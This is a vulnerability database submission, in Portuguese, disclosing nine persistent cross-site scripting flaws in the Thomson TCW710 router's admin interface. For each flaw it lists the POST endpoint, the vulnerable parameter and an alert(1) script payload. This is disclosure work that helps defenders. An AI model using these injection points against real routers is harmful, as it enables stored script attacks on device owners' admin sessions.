| Título | Router thomson tcw710 Multiple persistent XSS |
|---|
| Descrição | 1 - XSS Persistent
URL: /goform/wlanPrimaryNetwork
Request: POST
Param: ServiceSetIdentifier
Payload: ><script>alert(1)</script>
2 - XSS Persistent
URL: /goform/RGFirewallEL
Request: POST
Param: EmailAddress
Payload: ><script>alert(1)</script>
3 - XSS Persistent
URL: /goform/RGFirewallEL
Request: POST
Param: SmtpServerName
Payload: ><script>alert(1)</script>
4 - XSS Persistent
URL: /goform/RgTime
Request: POST
Param: TimeServer1
Payload: ><script>alert(1)</script>
5 - XSS Persistent
URL: /goform/RgTime
Request: POST
Param: TimeServer2
Payload: ><script>alert(1)</script>
6 - XSS Persistent
URL: /goform/RgTime
Request: POST
Param: TimeServer3
Payload: ><script>alert(1)</script>
7 - XSS Persistent
URL: /goform/RgDdns
Request: POST
Param: DdnsHostName
Payload: ><script>alert(1)</script>
8 - XSS Persistent
URL: /goform/RgDhcp
Request: POST
Param: PppUserName
Payload: ><script>alert(1)</script>
9 - XSS Persistent
URL: /goform/RgUrlBlock.asp
Request: POST
Param: BasicParentalNewKeyword
Payload: ><script>alert(1)</script> |
|---|
| Fonte | ⚠️ https://alquimistadesistemas.com/auditando-router-thomson-tcw710 |
|---|
| Utilizador | jbenages (UID 1784) |
|---|
| Submissão | 12/11/2018 19h39 (há 8 anos) |
|---|
| Moderação | 13/11/2018 09h36 (14 hours later) |
|---|
| Estado | Aceite |
|---|
| Entrada VulDB | 126695 [Thomson TCW710 ST5D.10.05 wlanPrimaryNetwork ServiceSetIdentifier Persistent Script de Site Cruzado] |
|---|
| Pontos | 17 |
|---|